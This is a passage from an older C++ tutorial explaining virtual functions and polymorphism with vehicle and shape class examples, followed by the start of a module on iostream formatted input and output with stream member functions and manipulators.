base class is inherited with the keyword public included in line 25 as shown below.

class truck : public vehicle

www.tenouk.com
- The main program is as simple as the classes; one object of each of the classes is defined in lines 45
through 48 as shown below.

vehicle unicycle;
car sedan_car;
truck trailer;
boat sailboat;

- And the method named message() is called once for each object. The output of this program
indicates that the method for each is called except for the object named trailer, which has no
method named message().
- The method named message() from the base class is called and the data output to the screen
indicates that this did happen.
- Line 56 as shown below indicates how the derived object has been assigned to the base object,

unicycle = sedan_car;

- And then calls the base object again in line 57 as shown below.

unicycle.message();

- We are not concern with the data, so all the data is allowed to the default private type and none is
inherited into the derived classes. Some of the data is left in the program example simply to make the
classes look like classes.
- The data could be removed since it is not used. Compile and run this program to see if your compiler
gives the same result of execution.

17.3 Adding The Keyword virtual

- Examine the next program example named poly2.cpp, you will notice that there is one small change
in line 12. The keyword virtual has been added to the declaration of the method named
message() in the base class.

1. //Program poly2.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. virtual void message(void)
13. //first message(), with virtual keyword
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()

www.tenouk.com
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------
44. int main()
45. {
46. vehicle unicycle;
47. car sedan_car;
48. truck trailer;
49. boat sailboat;
50.
51. cout<<"Adding virtual keyword at the base class method\n";
52. cout<<"-----------------------------------------------\n";
53. unicycle.message();
54. sedan_car.message();
55. trailer.message();
56. sailboat.message();
57.
58. //unicycle = sedan_car;
59. //sedan_car.message();
60.
61. system("pause");
62. return 0;
63. }

63 Lines: Output:

- But this program operates no differently than the last program example. This is because we are using
objects directly and virtual methods have nothing to do with objects, only with pointers to objects as
we will see soon.
- There is an additional comment in line 59 and 60 as shown below:

//unicycle = sedan_car;
//sedan_car.message();

- Illustrating that since all four objects is of different classes, it is impossible to assign any object to any
other object in this program with different result. We will soon see that some pointer assignments are
permitted between objects of dissimilar classes.
- Compile and run this program example to see if your compiler results in the same output as shown.

17.4 Using Object Pointers

- Examine the program example named poly3.cpp and you will find a repeat of the first program but
with a different main program.

1. //Program poly3.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. void message(void)
13. //first message()
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----

www.tenouk.com
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------
44. int main()
45. {
46. vehicle *unicycle;
47. car *sedan_car;
48. truck *trailer;
49. boat *sailboat;
50.
51. cout<<"Omitting the virtual keyword. Using\n";
52. cout<<"pointer variables, and new keyword\n";
53. cout<<"-----------------------------------\n";
54.
55. unicycle = new vehicle;
56. unicycle->message();
57. sedan_car = new car;
58. sedan_car->message();
59. trailer = new truck;
60. trailer->message();
61. sailboat = new boat;
62. sailboat->message();
63.
64. unicycle = sedan_car;
65. unicycle->message();
66.
67.
68. system("pause");
69. return 0;
70. }

70 Lines: Output:

- In this program the keyword virtual has been removed from the method declaration in the base class
in line 12, and the main program defines pointers to the objects rather than defining the objects
themselves in lines 46 through 49 as shown below:

vehicle *unicycle;
car *sedan_car;
truck *trailer;

www.tenouk.com
boat *sailboat;

- Since we only defined pointers to the objects, we find it necessary to allocate the objects before using
them by using the new operator in lines 55, 57, 59 and 61 as shown below:

unicycle = new vehicle;


...
sedan_car = new car;
...
trailer = new truck;
...
sailboat = new boat;

- Upon running the program, we find that even though we are using pointers to the objects, we have done
nothing different than what we did in the first program.
- The program operates in exactly the same manner as the first program example. This should not be
surprising because a pointer to a method can be used to operate on an object in the same manner as an
object can be directly manipulated.
- Be sure to compile and run this program before continuing on to the next program example. In this
program you will notice that we failed to check the allocation to see that it did allocate the objects
properly, and we also failed to de-allocate the objects prior to terminating the program.
- In such a simple program, it doesn't matter because the heap will be cleaned up automatically when we
return to the operating system.
- In real program development you have to implement this allocation checking and the de allocation. As
shown in the previous Module, if we do not de allocate, there will be garbage left.

17.5 A Pointer And A Virtual Function

- The program example named poly4.cpp is identical to the last program except for the addition of the
keyword virtual to line 12 once again.

1. //Program poly4.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. virtual void message(void)
13. //first message(), with virtual keyword
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------

www.tenouk.com
44. int main() //main program
45. {
46. vehicle *unicycle;
47. car *sedan_car;
48. truck *trailer;
49. boat *sailboat;
50.
51. cout<<"Re add the virtual keyword. Using\n";
52. cout<<"pointer variables, and new keyword\n";
53. cout<<"-----------------------------------\n";
54.
55. unicycle = new vehicle;
56. unicycle->message();
57. sedan_car = new car;
58. sedan_car->message();
59. trailer = new truck;
60. trailer->message();
61. sailboat = new boat;
62. sailboat->message();
63.
64. unicycle = sedan_car;
65. unicycle->message();
66.
67. system("pause");
68. return 0;
69. }

69 Lines: Output:

- By including the keyword virtual, it is still identical to the last program. Once again we are simply
using pointers to each of the objects, and in every case the pointer is of the same type as the object to
which it points. You will begin to see some changes in the next program example.
- Please compile and run this program. The four previous programs were meant just to show to you in
what virtual functions do not do. The next two will show you what virtual functions do.

17.6 A Single Pointer To The Parent Class

- Examine the program example named poly5.cpp where we almost use a virtual function. We are
almost ready to use a virtual method.

1. //Program poly5.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. void message(void)
13. //first message()
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:

www.tenouk.com
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------
44. int main()
45. {
46.
47. cout<<"Omitting the virtual keyword. Using\n";
48. cout<<"pointer variables, new and\n";
49. cout<<"delete keyword\n";
50. cout<<"-----------------------------------\n";
51.
52. vehicle *unicycle;
53. unicycle = new vehicle;
54. unicycle->message();
55. delete unicycle;
56.
57. unicycle = new car;
58. unicycle->message();
59. delete unicycle;
60.
61. unicycle = new truck;
62. unicycle->message();
63. delete unicycle;
64.
65. unicycle = new boat;
66. unicycle->message();
67. delete unicycle;
68.
69. //unicycle = sedan_car;
70. //unicycle->message();
71.
72. system("pause");
73. return 0;
74. }

74 Lines: Output:

- The keyword virtual omitted again in line 12 and with a totally different main program. In this
program, we only define a single pointer to a class and the pointer is pointing to the base class of the
class hierarchy. We will use the single pointer to refer to each of the four classes and observe what the
output of the method named message() is.

www.tenouk.com
- If we referred to a vehicle (in the real world, not necessarily in this program), we could be referring to a
car, a truck, a motorcycle, or any other kinds of transportation, because we are referring to a very
general form of an object.
- If however, we were to refer to a car, we are excluding trucks, motorcycles, and all other kinds of
transportation, because we are referring to a car specifically. The more general term of vehicle can
therefore refer to a many kinds of vehicles, but the more specific term of car can only refer to a single
kind of vehicle, namely a car.
- We can apply the same thought process in C++ and say that if we have a pointer to a vehicle, we can
use that pointer to refer to any of the more specific objects whereas if we have a pointer to a car, we
cannot use that pointer to reference any of the other classes including the vehicle class because the
pointer to the car class is too specific and restricted to be used on any other classes.

17.7 C++ Pointer Rule

- A pointer declared as pointing to a base class can be used to point to an object of a derived class of that
base class, but a pointer to a derived class cannot be used to point to an object of the base class or to
any of the other derived classes of the base class.
- In our program therefore, we are allowed to declare a pointer to the vehicle class which is the base
class, and use that pointer to refer to objects of the base class or any of the derived classes.
- This is exactly what we do in the main program. We define a single pointer which points to the
vehicle class and use it to point to objects of each of the classes in the same order as in the last four
programs. In each case, we allocate the object, send a message to the method named message() and
de-allocate the object before going on to the next class.
- You will notice that when we send the four messages, we are sending the message to the same method,
named message() which is a part of the vehicle base class. This is because the pointer has a class
associated with it. Even though the pointer is actually pointing to four different classes in this program,
the program acts as if the pointer is always pointing to an object of the base class because the pointer is
of the type of the base class.

17.8 An Actual Virtual Function

- We finally come to a program example with a virtual function that operates as a virtual function and
exhibits dynamic binding or polymorphism as it is called.

1. //Program poly6.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. virtual void message(void)
13. //first message() method, with virtual keyword
14. {cout<<"Vehicle message, from vehicle, the base class\n";}
15. };
16.
17. //----derived class declaration and implementation part-----
18. class car : public vehicle
19. {
20. int passenger_load;
21. public:
22. void message(void) //second message()
23. {cout<<"Car message, from car, the vehicle derived class\n";}
24. };
25.
26. class truck : public vehicle
27. {
28. int passenger_load;
29. float payload;
30. public:
31. int passengers(void) {return passenger_load;}
32. };
33.
34. class boat : public vehicle
35. {
36. int passenger_load;

www.tenouk.com
37. public:
38. int passengers(void) {return passenger_load;}
39. void message(void) //third message()
40. {cout<<"Boat message, from boat, the vehicle derived class\n";}
41. };
42.
43. //------------the main program------------
44. int main()
45. {
46.
47. cout<<"Re add the virtual keyword. Using\n";
48. cout<<"pointer variables, new and\n";
49. cout<<"delete keyword\n";
50. cout<<"-----------------------------------\n";
51.
52. vehicle *unicycle;
53.
54. unicycle = new vehicle;
55. unicycle->message();
56. delete unicycle;
57. unicycle = new car;
58. unicycle->message();
59. delete unicycle;
60. unicycle = new truck;
61. unicycle->message();
62. delete unicycle;
63.
64. unicycle = new boat;
65. unicycle->message();
66. delete unicycle;
67.
68. cout<<"\nThe real virtual function huh!\n";
69.
70. system("pause");
71. return 0;
72. }

72 Lines: Output:

- This program poly6.cpp is identical to the last program example except that the keyword virtual
is added to line 12 to make the method named message() a virtual function. You will notice that the
keyword virtual only appears in the base class, all classes that derive this class will have the
corresponding method automatically declared virtual by the system.
- In this program, we use the single pointer to the base class and allocate, use, then delete an object of
each of the four available classes using the identical code we used in the last program. However,
because of the addition of the keyword virtual in line 12, this program acts entirely different from
the last program example.
- Since the method named message() is declared to be a virtual function in its declaration in the
base class, anytime we refer to this function with a pointer to the base class, we actually execute the
function associated with one of the derived classes. But this is true only if there is a function available
in the derived class and if the pointer is actually pointing to that derived class.
- When the program is executed, the output reflects the same output we saw in the other cases when we
were actually calling the methods in the derived classes, but now we are using a pointer of the base
class type to make the calls.
- You will notice that in lines 55, 58, 61, and 65, even though the code is identical in each line, the
system is making the decision of which method to actually call based on the type of the pointer when
each message is sent. The decision of which method to call is not made during the time when the

www.tenouk.com
code is compiled but when the code is executed. This is dynamic binding and can be very useful in
some programming situations.
- In fact, there are only three different calls made because the class named truck does not have a
method named message(), so the system simply uses the method from the base class to satisfy the
message passed.
- For this reason, a virtual function must have an implementation available in the base class which will
be used if one is not available in one or more of the derived classes. Note that the message is actually
sent to a pointer to the object.
- Notice that the structure of the virtual function in the base class and each of the derived classes is
identical. The return type and the number and types of the parameters must be identical for all
functions, since a single statement can be used to call any of them.
- If the keyword virtual is used, the system will use late binding (some call it dynamic Binding)
which is done at run time, but if the keyword is not included, early binding (some call it static binding)
will be used. What these words actually mean is that with late binding, the compiler does not know
which method will actually respond to the message because the type of the pointer is not known at
compile time. With early binding, however, the compiler decides at compile time what method will
respond to the message sent to the pointer.
- In real world, the example for the late binding is when the application program calling the dll
(dynamic link library) file(s) during the program execution. The dll files don’t have the main()
function and it can be called (shared) by many programs.
- Compile and run this program example.

Program Example And Experiment

//polymorphic functions, virtual keyword


//program example...
#include <iostream.h>
#include <stdlib.h>

//------class declaration and implementation--------


//base class
class Shape
{
//protected member variables should be available
//for derived classes...
protected:
char* Color;

public:
//constructor, set the object's data
Shape(){Color = "No Color!";}
~Shape(){};
//virtual base member function...
//return the object's data
virtual char* GetColor(){return Color;}
};

//derived class...
class Rectangle:public Shape
{
//notice the same variable name, it is OK...
char* Color;

public:
Rectangle(){Color = "bLue SkY!";}
~Rectangle(){}
//derived class member function
//should also be virtual...
char* GetColor(){return Color;}
};

class Square:public Shape


{
char* Color;

public:
Square(){ Color = "yEllOw!";}
~Square(){}
char* GetColor(){return Color;}
};

class Triangle:public Shape


{

www.tenouk.com
char* Color;

public:
Triangle(){Color = "GrEEn!";}
~Triangle(){}
char* GetColor(){return Color;}
};

class Circle:public Shape


{
char* Color;

public:
Circle(){Color = "aMbEr!";}
~Circle(){}
//let set different function name but
//same functionality...
char* GetMyColor(){return Color;}
};

//-----------main program-----------
int main()
{
//instantiate objects of class type...
Shape ObjOne;
Rectangle ObjTwo;
Square ObjThree;
Triangle ObjFour;
Circle ObjFive;

cout<<"Non polymorphic, early binding:"<<endl;


cout<<"----------------------------------"<<endl;
cout<<"Shape color: "<<ObjOne.GetColor()<<endl;
cout<<"Rectangle color: "<<ObjTwo.GetColor()<<endl;
cout<<"Square color: "<<ObjThree.GetColor()<<endl;
cout<<"Triangle color: "<<ObjFour.GetColor()<<endl;
//notice the different function name as previous function...
cout<<"Circle color: "<<ObjFive.GetMyColor()<<endl;

cout<<"\nPolymorphic, late binding:"<<endl;


cout<<"--------------------------"<<endl;

//pointer variable of type Shape class...


Shape *VirtualPtr;

//object allocation of type Shape size...


VirtualPtr = new Shape;
cout<<"Shape color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
//de-allocate, clean up...
delete VirtualPtr;

VirtualPtr = new Rectangle;


cout<<"Rectangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

VirtualPtr = new Square;


cout<<"Square color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

VirtualPtr = new Triangle;


cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

//no GetColor() in this derived class, so use the GetColor


//from the base class...
VirtualPtr = new Circle;
cout<<"Circle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<&VirtualPtr<<"\n\n";
delete VirtualPtr;

//retest..
VirtualPtr = new Triangle;
cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

www.tenouk.com
system("pause");
return 0;
}

Output:

- From the output, notice the memory address (virtual pointer) similarity and one of them has different
address.
- Program example compiled using VC++/VC++ .Net.

//Program poly6.cpp
#include <iostream>
using namespace std;

//---base class declaration


//---and implementation part-----
class vehicle
{
int wheels;
float weight;
public:
virtual void message(void)
//first message() method, with virtual keyword
{cout<<"Vehicle message, from vehicle, the base class\n";}
};

//----derived class declaration and implementation part-----


class car : public vehicle
{
int passenger_load;
public:
void message(void) //second message()
{cout<<"Car message, from car, the vehicle derived class\n";}
};

class truck : public vehicle


{
int passenger_load;
float payload;
public:
int passengers(void) {return passenger_load;}
};

class boat : public vehicle


{
int passenger_load;
public:
int passengers(void) {return passenger_load;}
void message(void) //third message()

www.tenouk.com
{cout<<"Boat message, from boat, the vehicle derived class\n";}
};

//------------the main program------------


int main()
{
cout<<"Re add the virtual keyword. Using\n";
cout<<" pointer variables, new and\n";
cout<<" delete keyword\n";
cout<<"==================================\n";

vehicle *unicycle;

unicycle = new vehicle;


unicycle->message();
delete unicycle;
unicycle = new car;
unicycle->message();
delete unicycle;
unicycle = new truck;
unicycle->message();
delete unicycle;

unicycle = new boat;


unicycle->message();
delete unicycle;

cout<<"\nThe real virtual function huh!\n";


cout<<"==================================\n";

return 0;
}

Output:

- Previous example compiled using g++.

///////-polymorph.cpp-/////////
///////-polymorphic functions, virtual function-////////
///////-FEDORA 3, g++ x.x.x-///////
#include <iostream>
using namespace std;

//------class declaration and implementation--------


//base class
class Shape
{
//protected member variables should be available
//for derived classes...
protected:
char* Color;

public:
//constructor, set the object's data
Shape(){Color = "No Color!";}
~Shape(){};
//virtual base member function...
//return the object's data
virtual char* GetColor(){return Color;}

www.tenouk.com
};

//derived class...
class Rectangle:public Shape
{
//notice the same variable name, it is OK...
char* Color;

public:
Rectangle(){Color = "bLue SkY!";}
~Rectangle(){}
//derived class member function
//should also be virtual...
char* GetColor(){return Color;}
};

class Square:public Shape


{
char* Color;

public:
Square(){Color = "yEllOw!";}
~Square(){}
char* GetColor(){return Color;}
};

class Triangle:public Shape


{
char* Color;

public:
Triangle(){Color = "GrEEn!";}
~Triangle(){}
char* GetColor(){return Color;}
};

class Circle:public Shape


{
char* Color;

public:
Circle(){Color = "aMbEr!";}
~Circle(){}
//let set different function name but
//same functionality...
char* GetMyColor(){return Color;}
};

//-----------main program-----------
int main()
{
//instantiate objects of class type...
Shape ObjOne;
Rectangle ObjTwo;
Square ObjThree;
Triangle ObjFour;
Circle ObjFive;

cout<<"Non polymorphic, early binding:"<<endl;


cout<<"----------------------------------"<<endl;
cout<<"Shape color: "<<ObjOne.GetColor()<<". ";
cout<<" The address-->"<<&ObjOne<<endl;
cout<<"Rectangle color: "<<ObjTwo.GetColor()<<". ";
cout<<" The address-->"<<&ObjTwo<<endl;
cout<<"Square color: "<<ObjThree.GetColor()<<". ";
cout<<" The address-->"<<&ObjThree<<endl;
cout<<"Triangle color: "<<ObjFour.GetColor()<<". ";
cout<<" The address-->"<<&ObjFour<<endl;
//notice the different function name as previous function...
cout<<"Circle color: "<<ObjFive.GetMyColor()<<". ";
cout<<"The address-->"<<&ObjFive<<endl;

cout<<"\nPolymorphic, late binding:"<<endl;


cout<<"--------------------------"<<endl;

//pointer variable of type Shape class...


Shape *VirtualPtr;

//object allocation of type Shape size...


VirtualPtr = new Shape;

www.tenouk.com
cout<<"Shape color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
//deallocate, clean up...
delete VirtualPtr;

VirtualPtr = new Rectangle;


cout<<"Rectangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

VirtualPtr = new Square;


cout<<"Square color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

VirtualPtr = new Triangle;


cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

//no GetColor() in this derived class, so use the GetColor


//from the base class...
VirtualPtr = new Circle;
cout<<"Circle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<&VirtualPtr<<"\n\n";
delete VirtualPtr;

//retest...
VirtualPtr = new Triangle;
cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;

return 0;
}

[bodo@bakawali ~]$ g++ polymorph.cpp -o polymorph


[bodo@bakawali ~]$ ./polymorph

Non polymorphic, early binding:


----------------------------------
Shape color: No Color!. The address-->0xbffffa80
Rectangle color: bLue SkY!. The address-->0xbffffa70
Square color: yEllOw!. The address-->0xbffffa60
Triangle color: GrEEn!. The address-->0xbffffa50
Circle color: aMbEr!. The address-->0xbffffa40

Polymorphic, late binding:


--------------------------
Shape color: No Color!
VirtualPtr pointer reference = 0x804b008
Rectangle color: bLue SkY!
VirtualPtr pointer reference = 0x804b008
Square color: yEllOw!
VirtualPtr pointer reference = 0x804b008
Triangle color: GrEEn!
VirtualPtr pointer reference = 0x804b008
Circle color: No Color!
VirtualPtr pointer reference = 0xbffffa3c

Triangle color: GrEEn!


VirtualPtr pointer reference = 0x804b008

Further reading and digging:

1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.
2. Subjects, topics or books related to the following items:

a. Object Oriented Analysis.


b. Object Oriented Design.
c. Unified Modeling Language (UML).

www.tenouk.com
MODULE 18
C++ STREAM FORMATTED I/O
---------------------------------------------
MODULE 5
C FORMATTED I/O

My Training Period: hours

Abilities

▪ To understand and use various member functions for C++ formatted I/O.
▪ To understand and use various stream manipulators for C++ formatted I/O.

18.1 iostream Library

- In Module 5 you have learned the formatted I/O in C by calling various standard functions. In this
Module we will discuss how this formatted I/O implemented in C++ by using member functions and
stream manipulators.
- If you have completed this Tutorial #3 until Module 17, you should be familiar with class object. In
C++ we will deal a lot with classes. It is readily available for us to use.
- We will only discuss the formatted I/O here, for file I/O and some of the member functions mentioned
in this Module, will be presented in another Module. The discussion here will be straight to the point
because some of the terms used in this Module have been discussed extensively in Module 5.
- The header files used for formatted I/O in C++ are:

Header file Brief description


Provide basic information required for all stream I/O operation such
as cin, cout, cerr and clog correspond to standard input stream,
iostream.h
standard output stream, and standard unbuffered and buffered error
streams respectively.
Contains information useful for performing formatted I/O with
iomanip.h
parameterized stream manipulation.
fstream.h Contains information for user controlled file processing operations.
Contains information for performing in-memory formatting or in-
strstream.h core formatting. This resembles file processing, but the I/O operation
is performed to and from character arrays rather than files.
Contains information for program that mixes the C and C++ styles of
stdiostrem.h
I/O.

Table 18.1: iostream library

- The compilers that fully comply with the C++ standard that use the template based header files won’t
need the .h extension. Please refer to Module 23 for more information.
- The iostream class hierarchy is shown below. From the base class ios, we have a derived class:

Class Brief description


istream Class for stream input operation.
ostream Class for stream output operation.

Table 18.2: ios derived classes

- So, iostream support both stream input and output. The class hierarchy is shown below.

www.tenouk.com
18.2 Left and Right Shift Operators

- We have used these operators in most of the Modules in this Tutorial for C++ codes.
- The left shift operator (<<) is overloaded to designate stream output and is called stream insertion
operator.
- The right shift operator (>>) is overloaded to designate stream input and is called stream extraction
operator.
- These operators used with the standard stream object (and with other user defined stream objects) is
listed below:

Operators Brief description


Object of istream class, connected to the standard input device,
cin
normally the keyboard.
Object of ostream class, connected to standard output device,
cout
normally the display screen.
Object of the ostream class connected to standard error device. This
cerr is unbuffered output, so each insertion to cerr causes its output to
appear immediately.
clog Same as cerr but outputs to clog are buffered.

Table 18.3: iostream operators

- For file processing C++ uses (will be discussed in another Module) the following classes:

Class Brief description


ifstream To perform file input operations.
ofstream For file output operation.
fstream For file input/output operations.

Table 18.4: File input/output classes

- Stream output program example:

//string output using <<


#include <stdlib.h>
#include <iostream.h>

void main(void)
{
cout<<"Welcome to C++ I/O module!!!"<<endl;
cout<<"Welcome to ";
cout<<"C++ module 18"<<endl;
//endl is end line stream manipulator
//issue a new line character and flushes the output buffer
//output buffer may be flushed by cout<<flush; command
system("pause");
}

Output:

www.tenouk.com
//concatenating <<
#include <stdlib.h>
//for system(), if compiled in some compiler
//such as Visual Studio, no need this stdlib.h
#include <iostream.h>

void main(void)
{
int p = 3, q = 10;

cout << "Concatenating using << operator.\n"


<<"--------------------------------"<<endl;
cout << "70 minus 20 is "<<(70 - 20)<<endl;
cout << "55 plus 4 is "<<(55 + 4)<<endl;
cout <<p<<" + "<<q<<" = "<<(p+q)<<endl;
system("pause");
}

Output:

- Stream input program example:

#include <stdlib.h>
#include <iostream.h>

void main(void)
{
int p, q, r;

cout << "Enter 3 integers separated by space: \n";


cin>>p>>q>>r;
//the >> operator skips whitespace characters such as tabs,
//blank space and newlines. When eof is encountered, zero (false)
//is returned.
cout<<"Sum of the "<<p<<","<<q<<" and "<<r<<" is = "<<(p+q+r)<<endl;
system("pause");
}

Output:

18.3 get() and getline() Member Functions of Stream Input

www.tenouk.com
- For the get() function, we have three versions.

1. get() without any arguments, input one character from the designated streams including
whitespace and returns this character as the value of the function call. It will return EOF when
end of file on the stream is encountered. For example:

cin.get();

2. get() with a character argument, inputs the next character from the input stream including
whitespace. It return false when end of file is encountered while returns a reference to the
istream object for which the get member function is being invoked. For example:

char ch;
...
cin.get(ch);

3. get() with three arguments, a character array, a size limit and a delimiter (default value
‘\n’). It reads characters from the input stream, up to one less than the specified maximum
number of characters and terminates or terminates as soon as the delimiter is read. For
example:

char namevar[30];
...
cin.get(namevar, 30);
//get up to 29 characters and inserts null
//at the end of the string stored in variable
//namevar. If a delimiter is found,
//the read terminates. The delimiter
//is left in the stream, not stored
//in the array.

4. getline() operates like the third get() and insert a null character after the line in the
character array. It removes the delimiter from the stream, but does not store it in the character
array.

- Program examples:

//End of file controls depend on system


//Ctrl-z followed by return key - IBM PC
//Ctrl-d - UNIX and MAC

#include <stdlib.h>
#include <iostream.h>

void main(void)
{
char p;

cout <<"Using member functions get(), eof() and put()\n"


<<"---------------------------------------------"<<endl;
cout<<"Before any input, cin.eof() is "<<cin.eof()<<endl;
cout<<"Enter a line of texts followed by end of file control: "<<endl;

while((p = cin.get()) !=EOF)


cout.put(p);
cout<<"\nAfter some text input, cin.eof() is "<<cin.eof()<<endl;
system("pause");
}

Output:

www.tenouk.com
//Another get() version
#include <stdlib.h>
#include <iostream.h>

const int SIZE = 100;

void main(void)
{
char bufferOne[SIZE], bufferTwo[SIZE];

cout <<"Enter a line of text:"<<endl;


cin>>bufferOne;
//store the string in array bufferOne
//just the first word in the array string, then the
//first whitespace encountered
cout<<"\nThe line of text read by cin>> was:"<<endl;
cout<<bufferOne<<endl;
cin.get(bufferTwo, SIZE);
//the rest of the string
cout<<"The line of text read by cin.get(bufferTwo,SIZE) was:"<<endl;
cout<<bufferTwo<<endl;
system("pause");
}

Output:

//getline() example
#include <stdlib.h>
#include <iostream.h>

const SIZE = 100;

void main(void)
{
char buffer[SIZE];

cout<<"Read by cin.getline(buffer, SIZE)\n"


<<"--------------------------------\n"
<<"Enter a line of text:"<<endl;
cin.getline(buffer, SIZE);
cout<<"The line of text entered is: "<<endl;
cout<<buffer<<endl;
system("pause");
}

Output:

www.tenouk.com
- ignore() member function skips over a designated number of characters (default is one character) or
terminates upon encountering a designated delimiter (default is EOF). For example:

cin.ignore(); //gets and discards 1 character.

cin.ignore(5); //gets and discards 5 characters.

cin.ignore(20,’\n’);
//gets and discards up to 20 characters or until
//newline character whichever comes first.

- putback() member function places the previous character obtained by a get() on an input stream
back onto that stream. For example:

char chs;
...
cin.putback(chs);
//put character back in the stream

- peek() member function returns the next character from an input stream, but does not remove the
character from the stream. For example:

char chs;
...
chs = cin.peek();
//peek at character

- Unformatted I/O performed with read() and write() member functions. They simply input or
output as raw byte.
- The read() member function extracts a given number of characters into an array and the write()
member function inserts n characters (nulls included). For example:

char texts[100];
...
cin.read(texts, 100);
//read 100 characters from input stream
//and don’t append ‘\0’

- Program example:

//Using read(), write() and gcount() member functions


#include <stdlib.h>
#include <iostream.h>

const int SIZE = 100;

void main(void)
{
char buffer[SIZE];

cout<<"Enter a line of text:"<<endl;


cin.read(buffer,45);
cout<<"The line of text entered was: "<<endl;
cout.write(buffer, cin.gcount());
//The gcount() member function returns

www.tenouk.com
//the number of unformatted characters last extracted
cout<<endl;
system("pause");
}

Output:

18.4 Stream Manipulators

- Used to perform formatting, such as:

▪ Setting field width.


▪ Precision.
▪ Unsetting format flags.
▪ Flushing stream.
▪ Inserting newline in the output stream and flushing the stream.
▪ Inserting the null character in the output stream.
▪ Skipping whitespace.
▪ Setting the fill character in field.

18.4.1 Stream Base

- For stream base we have:

Operator/function Brief description


hex To set the base to hexadecimal, base 16.
oct To set the base to octal, base 8.
dec To reset the stream to decimal.
Changing the base of the stream, taking one integer argument of 10,
8 or 16 for decimal, base 8 or base 16 respectively.
setbase()
setbase() is parameterized stream manipulator by taking
argument, we have to include iomanip.h header file.

Table 18.5: Stream base operator and function.

- Program example:

//using hex, oct, dec and setbase stream manipulator


#include <stdlib.h>
#include <iostream.h>
#include <iomanip.h>

void main(void)
{

int p;

cout<<"Enter a decimal number:"<<endl;


cin>>p;
cout<<p<< " in hexadecimal is: "
<<hex<<p<<'\n'
<<dec<<p<<" in octal is: "
<<oct<<p<<'\n'
<<setbase(10) <<p<<" in decimal is: "
<<p<<endl;
cout<<endl;
system("pause");

www.tenouk.com
}

Output:

18.4.2 Floating-point Precision

